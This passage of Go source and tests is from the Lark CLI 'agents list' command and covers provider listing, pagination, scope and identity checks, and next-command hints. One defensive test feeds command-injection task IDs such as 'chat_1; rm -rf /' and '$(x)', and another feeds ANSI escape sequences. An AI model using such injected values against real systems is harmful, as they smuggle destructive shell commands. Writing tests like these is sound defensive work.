// listing. JSON envelope is the default; `pretty` is the opt-in human view.
func agentListRun(opts *listOptions) error {
if opts.Scheme != "" {
return agentListSchemeRun(opts)
}
// The no-scheme form is a pure offline registry listing — business params
// have no target operation, so reject explicitly rather than silently
// ignoring what the caller thought they were passing.
if len(opts.Params) > 0 {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"--param 仅在 agents list <scheme> 时有意义(无 scheme 的列表是纯本地枚举)").
WithParam("--param").
WithHint("补充 scheme 重发,如 lark-cli agents list <scheme> --param k=v各 provider 的 list 参数见本命令输出的 list_parameters")
}
f := opts.Factory
providers := listProviders()
// pretty is a human view only; a --jq expression implies structured JSON.
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
fmt.Fprintf(f.IOStreams.Out, "SCHEME\tLABEL\tAGENT_REF_FORMAT\tKIND\n")
for _, p := range providers {
fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\t%s\n", p.Scheme, p.Label, p.AgentRefFormat, p.Kind)
}
// agent_id_source is a full sentence — a TSV column would blow out the
// row width, so surface it as a per-provider footer instead. This is the
// single most important "where do I get an agent_id" cue for newcomers
// and must not vanish in the human-readable view.
fmt.Fprintln(f.IOStreams.Out)
for _, p := range providers {
fmt.Fprintf(f.IOStreams.Out, "agent_id 获取(%s: %s\n", p.Scheme, p.AgentIDSource)
}
return nil
}
env := output.Envelope{
OK: true,
Data: map[string]interface{}{"providers": providers},
Meta: listMeta(len(providers)),
Notice: output.GetNotice(),
}
if jq := jqExpr(opts.Cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// agentListSchemeRun runs `agents list <scheme>`: second-level enumeration for
// one provider. A catalog provider enumerates OFFLINE from its static set
// (prov.ListCatalog). An instance provider enumerates ONLINE via its optional
// ListAgents hook (needs a configured client); an instance provider without that
// hook is not enumerable and returns unsupported_capability + the AgentIDSource
// hint — surfaced before the client is built.
func agentListSchemeRun(opts *listOptions) error {
f := opts.Factory
prov, ok := iagents.Info(opts.Scheme)
if !ok {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"未知的 agent provider '%s',当前支持: %s",
opts.Scheme, iagents.KnownSchemes()).
WithHint("用 lark-cli agents list 查看可用 provider")
}
var agents []iagents.AgentSummary
var identity string // set only on the online (instance) path, which resolves one
var pageInfo iagents.PageInfo // set only on the online (instance) path
catalog := prov.Kind() == iagents.KindCatalog
if catalog {
// Offline catalog enumeration takes no business params (ListParams
// requires a ListAgents hook); validate against the empty set so a stray
// --param is rejected with the same teaching error instead of ignored.
// The catalog set is finite and offline, so it is UNPAGED: --page-size /
// --page-token are ignored on this path (documented on the command).
if _, err := validateListParams(opts.Params, nil, opts.Scheme); err != nil {
return err
}
agents = prov.ListCatalog(resolvedBrand(opts.Factory)) // offline, brand-filtered
} else {
// instance: needs the online ListAgents hook. Absent ⇒ not enumerable.
if prov.ListAgents == nil {
return errs.NewValidationError(errs.SubtypeUnsupportedCapability,
"provider '%s' 暂不支持列举 agent", opts.Scheme).
WithHint("%s", prov.AgentIDSource)
}
// --page-size is validated uniformly in RunE (alongside validateFormat), so
// this paginated path does not re-check it here.
// Enumeration is a real online call with no agent_id, so it runs the same
// two gates every ref-addressed online verb runs (via resolveSpec +
// preflightScopesForRef): the user|bot identity whitelist and the
// all-or-nothing scope preflight — keyed on the scheme since there is no ref.
// agentID is empty (enumeration is not scoped to a single agent).
id := f.ResolveAs(opts.Cmd.Context(), opts.Cmd, core.Identity(opts.As))
if err := f.CheckIdentity(id, supportedIdentities); err != nil {
return err
}
identity = string(id)
// list is a provider-level operation: params validate against ListParams
// (no spec, so no cross-operation reverse lookup); the error hint points
// at `agents list` output's list_parameters, not at an agent card the
// caller cannot address yet (it holds no agent_ref at list time).
vp, err := validateListParams(opts.Params, prov.ListParams, opts.Scheme)
if err != nil {
return err
}
rt, err := runtimeFor(f, id, "", vp.Resolved)
if err != nil {
return err
}
if err := preflightScopesForScheme(f, id, opts.Scheme); err != nil {
return err
}
agents, pageInfo, err = prov.ListAgents(opts.Cmd.Context(), rt,
iagents.PageParams{Token: opts.PageToken, Size: opts.PageSize})
if err != nil {
return err
}
}
if agents == nil {
agents = []iagents.AgentSummary{} // always emit [] not null
}
// pretty is a human view only; a --jq expression implies structured JSON.
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
// Name/Description are agent-controlled remote strings — ANSI-strip
// them before writing to the terminal.
fmt.Fprintf(f.IOStreams.Out, "AGENT_REF\tNAME\tDESCRIPTION\n")
for _, a := range agents {
fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\n", stripANSI(a.AgentRef), stripANSI(a.Name), stripANSI(a.Description))
}
return nil
}
// Catalog is unpaged (plain count); the instance path carries has_more /
// page_token and a next-page action when there are more agents.
meta := listMeta(len(agents))
if !catalog {
meta = listMetaPage(len(agents), pageInfo, listSchemeNext(opts, f, pageInfo))
}
env := output.Envelope{
OK: true,
Identity: identity, // empty for the offline catalog path (omitempty)
Data: map[string]interface{}{"agents": agents},
Meta: meta,
Notice: output.GetNotice(),
}
if jq := jqExpr(opts.Cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// listSchemeNext builds the next-page action for the instance `list <scheme>`
// enumeration, replaying the scheme with the returned cursor. The scheme is
// gated by safeNextID (no colon, so safeNextRef does not apply); a failing scheme
// drops the action (the cursor still rides meta.page_token as data).
func listSchemeNext(opts *listOptions, f *cmdutil.Factory, info iagents.PageInfo) []output.NextAction {
if !safeNextID(opts.Scheme) {
return nil
}
next := nextPageAction(fmt.Sprintf("lark-cli agents list %s", opts.Scheme), opts.PageSize, info)
carryAsIntoNext(opts.Cmd, f, next)
return next
}
// listProviders builds the provider descriptors from the built-in registry so
// the listing stays in sync with whatever adapters are registered.
func listProviders() []providerInfo {
schemes := iagents.RegisteredSchemes()
out := make([]providerInfo, 0, len(schemes))
for _, s := range schemes {
// s comes from RegisteredSchemes, so Info always succeeds.
prov, _ := iagents.Info(s)
out = append(out, providerInfo{
Scheme: s,
Label: prov.Label,
AgentRefFormat: prov.AgentRefFormat(),
Kind: string(prov.Kind()),
AgentIDSource: prov.AgentIDSource,
ListParams: prov.ListParams,
})
}
return out
}

554
cmd/agents/list_test.go Normal file
View File

@@ -0,0 +1,554 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"bytes"
"context"
"encoding/json"
"strings"
"testing"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// listFactory returns a Factory writing to a fresh stdout buffer plus a
// listOptions bound to it, ready to drive agentListRun without any API.
func listFactory() (*listOptions, *bytes.Buffer) {
out := &bytes.Buffer{}
errOut := &bytes.Buffer{}
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
return &listOptions{Factory: f, Format: "json"}, out
}
// decodeProviders unmarshals the envelope on out and returns data.providers.
func decodeProviders(t *testing.T, out *bytes.Buffer) []interface{} {
t.Helper()
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
}
data, _ := env.Data.(map[string]interface{})
providers, _ := data["providers"].([]interface{})
return providers
}
// findProvider returns the provider entry whose scheme matches, or nil.
func findProvider(providers []interface{}, scheme string) map[string]interface{} {
for _, pv := range providers {
p, _ := pv.(map[string]interface{})
if p["scheme"] == scheme {
return p
}
}
return nil
}
// TestAgentListRun_ProviderFieldsV2 pins the provider entry contract: the
// example entry carries all fields sourced from iagents.Info (the single source
// of truth), the legacy free-text description field is gone, and discoverable
// is no longer exposed.
func TestAgentListRun_ProviderFieldsV2(t *testing.T) {
opts, out := listFactory()
if err := agentListRun(opts); err != nil {
t.Fatalf("list should not error: %v", err)
}
prov, ok := iagents.Info("example")
if !ok {
t.Fatal("the example provider should already be registered (top-level agent blank import)")
}
p := findProvider(decodeProviders(t, out), "example")
if p == nil {
t.Fatalf("list should include the example provider: %s", out.String())
}
if p["label"] != prov.Label {
t.Errorf("label should come from Provider.Label %q, got %v", prov.Label, p["label"])
}
if p["agent_ref_format"] != prov.AgentRefFormat() {
t.Errorf("agent_ref_format should come from Provider.AgentRefFormat() %q, got %v", prov.AgentRefFormat(), p["agent_ref_format"])
}
if p["kind"] != string(prov.Kind()) {
t.Errorf("kind should come from Provider.Kind() %q, got %v", prov.Kind(), p["kind"])
}
if p["agent_id_source"] != prov.AgentIDSource {
t.Errorf("agent_id_source should come from Provider.AgentIDSource, got %v", p["agent_id_source"])
}
if _, present := p["description"]; present {
t.Errorf("the old description field should be removed (double-source with label), got %v", p)
}
if _, present := p["discoverable"]; present {
t.Errorf("the discoverable field should be removed from the provider list, got %v", p["discoverable"])
}
}
// TestAgentListRun_EnvelopeShape verifies the JSON envelope carries
// data.providers[] with the full field contract.
func TestAgentListRun_EnvelopeShape(t *testing.T) {
opts, out := listFactory()
if err := agentListRun(opts); err != nil {
t.Fatalf("list should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
}
if !env.OK {
t.Errorf("ok should be true: %+v", env)
}
providers := decodeProviders(t, out)
if len(providers) == 0 {
t.Fatalf("data.providers should be a non-empty array: %s", out.String())
}
first, ok := providers[0].(map[string]interface{})
if !ok {
t.Fatalf("provider entry should be an object, got %T", providers[0])
}
for _, key := range []string{"scheme", "label", "agent_ref_format", "kind", "agent_id_source"} {
if _, present := first[key]; !present {
t.Errorf("provider entry missing field %q: %v", key, first)
}
}
if _, present := first["discoverable"]; present {
t.Errorf("provider entry should not contain a discoverable field: %v", first)
}
}
// TestAgentListDefaultFormatIsJSON pins the default flip: `agents list`
// without --format emits the JSON envelope (pretty is opt-in).
func TestAgentListDefaultFormatIsJSON(t *testing.T) {
out := &bytes.Buffer{}
errOut := &bytes.Buffer{}
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
cmd := NewCmdAgentList(f)
cmd.SetOut(&bytes.Buffer{})
cmd.SetErr(&bytes.Buffer{})
cmd.SetArgs([]string{})
if err := cmd.Execute(); err != nil {
t.Fatalf("agents list should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("default output should be a JSON envelope: %v (%s)", err, out.String())
}
if !env.OK {
t.Errorf("ok should be true: %+v", env)
}
}
// TestAgentListRun_PrettyFormat pins the opt-in --format pretty branch: a header
// row plus tab-separated provider lines, not a JSON envelope.
func TestAgentListRun_PrettyFormat(t *testing.T) {
out := &bytes.Buffer{}
errOut := &bytes.Buffer{}
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
opts := &listOptions{Factory: f, Format: "pretty"}
if err := agentListRun(opts); err != nil {
t.Fatalf("list pretty should not error: %v", err)
}
text := out.String()
// A pretty rendering is human text, not a JSON envelope.
var env output.Envelope
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
t.Fatalf("pretty format should not output a JSON envelope: %s", text)
}
if !strings.HasPrefix(text, "SCHEME") {
t.Errorf("pretty output should start with a header row: %s", text)
}
if !strings.Contains(text, "example") {
t.Errorf("pretty output should contain the example provider: %s", text)
}
if !strings.Contains(text, "example:<agent_id>") {
t.Errorf("pretty output should contain the example ref format: %s", text)
}
// agent_id_source is surfaced as a footer (not a column) so the newcomer's
// "where do I get an agent_id" cue does not disappear in the pretty view.
if !strings.Contains(text, "agent_id 获取") {
t.Errorf("pretty output should contain the agent_id_source footer hint: %s", text)
}
}
// TestAgentListScheme_UnsupportedCapability pins that `agents list fakeflow`
// on a provider without Discoverer is unsupported_capability (exit 2) with the
// AgentIDSource text as hint, and — because the probe runs before any client
// construction — works on an unconfigured Factory.
func TestAgentListScheme_UnsupportedCapability(t *testing.T) {
registerScripted()
opts, _ := listFactory()
opts.Scheme = "fakeflow"
err := agentListRun(opts)
if err == nil {
t.Fatal("fakeflow does not implement Discoverer, so list fakeflow should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T (%v)", err, err)
}
if code := output.ExitCodeOf(err); code != output.ExitValidation {
t.Fatalf("exit code should be 2, got %d", code)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
t.Fatalf("subtype should be unsupported_capability, got %+v", p)
}
if !strings.Contains(err.Error(), "provider 'fakeflow' 暂不支持列举 agent") {
t.Errorf("message should state that listing is not supported, got %q", err.Error())
}
if !strings.Contains(p.Hint, fakeflowAgentIDSource) {
t.Errorf("hint should be the AgentIDSource text, got %q", p.Hint)
}
}
// TestAgentListScheme_UnknownScheme pins that an unregistered scheme is
// invalid_argument and the message lists the registered schemes.
func TestAgentListScheme_UnknownScheme(t *testing.T) {
opts, _ := listFactory()
opts.Scheme = "nosuch"
err := agentListRun(opts)
if err == nil {
t.Fatal("an unknown scheme should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T (%v)", err, err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
if !strings.Contains(err.Error(), "nosuch") || !strings.Contains(err.Error(), "example") {
t.Errorf("message should contain the unknown scheme and the registered scheme list, got %q", err.Error())
}
// Hand-written validation errors carry a recovery hint pointing at
// `agents list` for provider discovery.
if !strings.Contains(p.Hint, "agents list") {
t.Errorf("unknown-scheme hint should point to `agents list`, got %q", p.Hint)
}
}
// catSpec builds a catalog AgentSpec with the mandatory core hooks (the list
// tests only exercise enumeration, never Send/GetTask, but Register requires
// both non-nil).
func catSpec(id, name, desc string) iagents.AgentSpec {
return iagents.AgentSpec{
ID: id, Name: name, Description: desc,
Send: iagents.SendOp{Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) { return nil, nil }},
GetTask: iagents.TaskGetOp{Handler: func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) { return nil, nil }},
}
}
// registerFakeDisc registers a catalog scheme with two entries. Its enumeration
// is derived offline from the static Catalog. It leaks into the package-level
// registry for the rest of this package run.
func registerFakeDisc() {
iagents.Register(iagents.Provider{
Scheme: "fakedisc",
Label: "test fake (catalog)",
AgentIDSource: "test only",
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}},
Catalog: []iagents.AgentSpec{
catSpec("a1", "Agent One", "第一个"),
catSpec("a2", "Agent Two", ""),
},
})
}
// TestAgentListScheme_CatalogListsAgents pins the catalog positive path: a
// catalog provider enumerates its static entries offline into
// {agents:[AgentSummary...]} + meta.count (sorted by AgentRef).
func TestAgentListScheme_CatalogListsAgents(t *testing.T) {
registerFakeDisc()
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
cmd := &cobra.Command{Use: "list"}
cmd.SetContext(context.Background())
opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakedisc"}
out := f.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentListRun(opts); err != nil {
t.Fatalf("list fakedisc should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
agents, ok := data["agents"].([]interface{})
if !ok || len(agents) != 2 {
t.Fatalf("data.agents should have 2 entries, got %v", data["agents"])
}
first, _ := agents[0].(map[string]interface{})
if first["agent_ref"] != "fakedisc:a1" || first["name"] != "Agent One" {
t.Errorf("agents[0] should be an AgentSummary {agent_ref, name}, got %v", first)
}
if env.Meta == nil || env.Meta.Count != 2 {
t.Errorf("meta.count should be 2, got %+v", env.Meta)
}
}
// TestAgentListScheme_InstanceListAgentsOnline pins the instance online path: an
// instance provider that wires the optional ListAgents hook enumerates via it,
// and the hook receives an identity-pinned runtime (not nil).
func TestAgentListScheme_InstanceListAgentsOnline(t *testing.T) {
var gotRT iagents.Runtime
spec := catSpec("", "", "")
iagents.Register(iagents.Provider{
Scheme: "fakelive",
Label: "test fake (instance live-enum)",
AgentIDSource: "test only",
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
Instance: &spec,
ListAgents: func(_ context.Context, rt iagents.Runtime, _ iagents.PageParams) ([]iagents.AgentSummary, iagents.PageInfo, error) {
gotRT = rt
return []iagents.AgentSummary{{AgentRef: "fakelive:x", Name: "Live X"}}, iagents.PageInfo{}, nil
},
})
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
cmd := &cobra.Command{Use: "list"}
cmd.Flags().String("as", "", "identity")
cmd.SetContext(context.Background())
opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakelive", PageSize: defaultPageSize}
out := f.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentListRun(opts); err != nil {
t.Fatalf("list fakelive should not error: %v", err)
}
if gotRT == nil {
t.Error("the ListAgents hook should receive a non-nil identity-pinned runtime")
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
if agents, _ := data["agents"].([]interface{}); len(agents) != 1 {
t.Fatalf("data.agents should have 1 entry, got %v", data["agents"])
}
}
// TestAgentListScheme_PaginationMeta pins the command-level pagination envelope
// for the instance `list <scheme>` path: a ListAgents hook that returns a page
// plus PageInfo{HasMore,NextToken} surfaces as meta.has_more / meta.page_token,
// and meta.next carries a "下一页" action replaying the scheme with
// --page-size / --page-token.
func TestAgentListScheme_PaginationMeta(t *testing.T) {
spec := catSpec("", "", "")
iagents.Register(iagents.Provider{
Scheme: "fakelivepage",
Label: "test fake (instance paginated live-enum)",
AgentIDSource: "test only",
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
Instance: &spec,
ListAgents: func(_ context.Context, _ iagents.Runtime, page iagents.PageParams) ([]iagents.AgentSummary, iagents.PageInfo, error) {
if page.Size != 2 {
t.Errorf("the ListAgents hook should receive the requested page size 2, got %d", page.Size)
}
return []iagents.AgentSummary{
{AgentRef: "fakelivepage:x", Name: "Live X"},
{AgentRef: "fakelivepage:y", Name: "Live Y"},
},
iagents.PageInfo{NextToken: "2", HasMore: true}, nil
},
})
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
cmd := &cobra.Command{Use: "list"}
cmd.Flags().String("as", "", "identity")
cmd.SetContext(context.Background())
opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakelivepage", PageSize: 2}
out := f.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentListRun(opts); err != nil {
t.Fatalf("paged list fakelivepage should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
if env.Meta == nil {
t.Fatal("a paged list should carry meta")
}
if !env.Meta.HasMore {
t.Error("meta.has_more should be true")
}
if env.Meta.PageToken != "2" {
t.Errorf("meta.page_token should be the next cursor \"2\", got %q", env.Meta.PageToken)
}
found := false
for _, n := range env.Meta.Next {
if n.Label == "下一页" && strings.Contains(n.Command, "lark-cli agents list fakelivepage") &&
strings.Contains(n.Command, "--page-size 2") && strings.Contains(n.Command, "--page-token 2") {
found = true
}
}
if !found {
t.Errorf("meta.next should contain a 下一页 action replaying the scheme + --page-size/--page-token, got %+v", env.Meta.Next)
}
}
// TestAgentListScheme_OnlineRunsScopePreflight pins #8: the online enumeration
// path now runs the same all-or-nothing scope preflight every other online verb
// runs. An instance provider with RequiredScopes, driven by a user whose token
// lacks them, fails fast with missing_scope (exit 3) BEFORE ListAgents is called.
func TestAgentListScheme_OnlineRunsScopePreflight(t *testing.T) {
called := false
spec := catSpec("", "", "")
iagents.Register(iagents.Provider{
Scheme: "fakescopelive",
Label: "test fake (scoped live-enum)",
AgentIDSource: "test only",
RequiredScopes: []string{"live:read"},
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}},
Instance: &spec,
ListAgents: func(context.Context, iagents.Runtime, iagents.PageParams) ([]iagents.AgentSummary, iagents.PageInfo, error) {
called = true
return nil, iagents.PageInfo{}, nil
},
})
// The stored user token holds an unrelated scope (non-empty so the preflight
// actually runs) but not the required one.
swapStoredScopes(t, []string{"unrelated:scope"})
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
opts := &listOptions{Factory: f, Cmd: resolveCmd(t, true, "user"), Format: "json", Scheme: "fakescopelive", As: "user", PageSize: defaultPageSize}
err := agentListRun(opts)
if err == nil {
t.Fatal("listing as a user missing the required scope should fail with missing_scope")
}
if code := output.ExitCodeOf(err); code != 3 {
t.Fatalf("missing scope should be exit 3, got %d (%v)", code, err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeMissingScope {
t.Fatalf("subtype should be missing_scope, got %+v", p)
}
if called {
t.Error("ListAgents must NOT be called when the scope preflight fails")
}
}
// TestAgentListScheme_OnlineChecksIdentity pins #8: the online enumeration path
// enforces the user|bot identity whitelist. An explicitly unsupported --as is
// rejected as a validation error before the online ListAgents call.
func TestAgentListScheme_OnlineChecksIdentity(t *testing.T) {
called := false
spec := catSpec("", "", "")
iagents.Register(iagents.Provider{
Scheme: "fakelivewl",
Label: "test fake (identity-whitelist live-enum)",
AgentIDSource: "test only",
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
Instance: &spec,
ListAgents: func(context.Context, iagents.Runtime, iagents.PageParams) ([]iagents.AgentSummary, iagents.PageInfo, error) {
called = true
return nil, iagents.PageInfo{}, nil
},
})
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
opts := &listOptions{Factory: f, Cmd: resolveCmd(t, true, "admin"), Format: "json", Scheme: "fakelivewl", As: "admin", PageSize: defaultPageSize}
err := agentListRun(opts)
if err == nil {
t.Fatal("an unsupported identity should be rejected before the online call")
}
if !errs.IsValidation(err) {
t.Fatalf("unsupported identity should be a validation error, got %T (%v)", err, err)
}
if called {
t.Error("ListAgents must NOT be called when the identity whitelist fails")
}
}
// TestAgentListScheme_PrettyStripsANSI pins that `agents list <scheme> --format
// pretty` strips ANSI escapes from agent-controlled Name/Description (here from
// static catalog entries) before they reach the terminal.
func TestAgentListScheme_PrettyStripsANSI(t *testing.T) {
iagents.Register(iagents.Provider{
Scheme: "fakedirty",
Label: "test fake (dirty names)",
AgentIDSource: "test only",
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}},
Catalog: []iagents.AgentSpec{catSpec("a1", "\x1b[31mEvil\x1b[0m One", "d\x1b[2Jesc")},
})
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
cmd := &cobra.Command{Use: "list"}
cmd.SetContext(context.Background())
opts := &listOptions{Factory: f, Cmd: cmd, Format: "pretty", Scheme: "fakedirty"}
out := f.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentListRun(opts); err != nil {
t.Fatalf("list fakedirty pretty should not error: %v", err)
}
text := string(out.Bytes())
if strings.Contains(text, "\x1b") {
t.Errorf("ANSI sequences in agent Name/Description must be stripped: %q", text)
}
if !strings.Contains(text, "Evil One") || !strings.Contains(text, "desc") {
t.Errorf("readable text should remain after stripping, got %q", text)
}
}
// TestAgentListJqFlagRegisteredAndConsumed pins the quality-review fix: the
// --jq flag must be registered on `agents list` and filter the envelope.
func TestAgentListJqFlagRegisteredAndConsumed(t *testing.T) {
out := &bytes.Buffer{}
errOut := &bytes.Buffer{}
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
cmd := NewCmdAgentList(f)
cmd.SetOut(&bytes.Buffer{})
cmd.SetErr(&bytes.Buffer{})
cmd.SetContext(context.Background())
cmd.SetArgs([]string{"--jq", ".ok"})
if err := cmd.Execute(); err != nil {
t.Fatalf("agents list --jq should not error: %v", err)
}
if got := strings.TrimSpace(out.String()); got != "true" {
t.Errorf("--jq .ok should output only true, got %q", got)
}
}
// TestNewCmdAgentList_ReadRisk pins the read risk annotation, the json default
// of --format, the --jq flag presence, and that list takes at most one
// positional arg (the scheme).
func TestNewCmdAgentList_ReadRisk(t *testing.T) {
cmd := NewCmdAgentList(nil)
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
t.Errorf("agents list should be marked read risk, got level=%q ok=%v", level, ok)
}
fl := cmd.Flags().Lookup("format")
if fl == nil {
t.Fatal("agents list should have a --format flag")
}
if fl.DefValue != "json" {
t.Errorf("--format default should flip to json, got %q", fl.DefValue)
}
if cmd.Flags().Lookup("jq") == nil {
t.Error("agents list should have a --jq flag")
}
if cmd.Flags().Lookup("as") == nil {
t.Error("agents list should register an --as flag (needed to pick the identity for online enumeration)")
}
if err := cmd.Args(cmd, []string{}); err != nil {
t.Errorf("agents list with no args should be valid: %v", err)
}
if err := cmd.Args(cmd, []string{"example"}); err != nil {
t.Errorf("agents list <scheme> should be valid: %v", err)
}
if err := cmd.Args(cmd, []string{"example", "extra"}); err == nil {
t.Error("agents list with more than 1 positional argument should error (MaximumNArgs 1)")
}
}

View File

@@ -0,0 +1,276 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"strings"
"testing"
iagents "github.com/larksuite/cli/internal/agents"
)
// allTaskStates is the full 9-state A2A enum (internal/agent/state.go), so the
// contract test automatically covers any future nextForTask branch keyed on a
// state instead of relying on hand-picked samples.
var allTaskStates = []iagents.TaskState{
iagents.StateSubmitted,
iagents.StateWorking,
iagents.StateInputRequired,
iagents.StateAuthRequired,
iagents.StateCompleted,
iagents.StateFailed,
iagents.StateCanceled,
iagents.StateRejected,
iagents.StateUnknown,
}
// TestNextForTaskCommandsParseAgainstRealTree is the meta.next contract test:
// every next command emitted by nextForTask — across all 9 task states, with
// and without a context id, template hints included (their <...> placeholders
// are single space-free tokens, so they parse as ordinary flag values) — must
// traverse and flag-parse against the real agent command tree. meta.next is
// defined as "AI executes this verbatim", so a next that references a
// nonexistent flag (e.g. --wait on task get) is a broken contract, caught here
// at build time instead of by a failing acceptance run.
func TestNextForTaskCommandsParseAgainstRealTree(t *testing.T) {
// GIVEN: the real agent subtree (nil Factory: construction-time only, no
// credentials; all meta.next commands live under `lark-cli agents ...`).
agentTree := NewCmdAgents(nil)
for _, state := range allTaskStates {
for _, ctxID := range []string{"", "conversation_1"} {
task := &iagents.AgentTask{
TaskID: "chat_1",
ContextID: ctxID,
State: state,
IsTerminal: state.IsTerminal(),
}
next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend)
if len(next) == 0 {
t.Fatalf("state %s (ctx %q): legit task must produce next hints", state, ctxID)
}
for _, n := range next {
if state == iagents.StateAuthRequired {
// auth_required is an agent-side task state whose next step is
// the auth (re-authorize) flow, so it legitimately points OUT
// of the agent subtree and is not traversable against
// agentTree; assert its shape and skip the agent traversal.
if !strings.HasPrefix(n.Command, "lark-cli auth login") || !strings.Contains(n.Command, "--scope") {
t.Fatalf("auth_required next should point to auth login --scope, got %q", n.Command)
}
continue
}
if !strings.HasPrefix(n.Command, "lark-cli agents ") {
t.Fatalf("next %q must target the agent subtree", n.Command)
}
// WHEN: the command string is parsed against the real tree.
argv := strings.Fields(strings.TrimPrefix(n.Command, "lark-cli agents "))
c, flags, err := agentTree.Traverse(argv)
// THEN: it traverses to a leaf and its flags all exist.
if err != nil {
t.Fatalf("state %s (ctx %q): next %q not traversable: %v", state, ctxID, n.Command, err)
}
if c == agentTree {
t.Fatalf("state %s (ctx %q): next %q did not reach a subcommand", state, ctxID, n.Command)
}
if err := c.ParseFlags(flags); err != nil {
t.Fatalf("state %s (ctx %q): next %q flags invalid: %v", state, ctxID, n.Command, err)
}
}
}
}
}
// TestNextForTaskRejectsInjectionIDs pins the security whitelist: a
// server-supplied task_id that is not pure [A-Za-z0-9_-] must suppress the
// whole next entry (omit rather than risk injection), in every state —
// meta.next commands are executed verbatim by AI callers, so shell
// metacharacters in an interpolated id are command injection.
func TestNextForTaskRejectsInjectionIDs(t *testing.T) {
for _, bad := range []string{"chat_1; rm -rf /", "chat `x`", "chat 1", `chat"1"`, "chat$(x)", "chat|x"} {
for _, state := range allTaskStates {
task := &iagents.AgentTask{TaskID: bad, State: state}
if next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend); len(next) != 0 {
t.Fatalf("injection task_id %q (state %s) must suppress next, got %+v", bad, state, next)
}
}
}
}
// TestNextForTaskRejectsUnsafeRef pins the ref whitelist:
// the user-echoed ref is interpolated into every next command, so a ref that
// is not <charset>:<charset> (exactly one ':', [A-Za-z0-9_-] on both sides)
// suppresses the whole hint — a ref with spaces/quotes would make the command
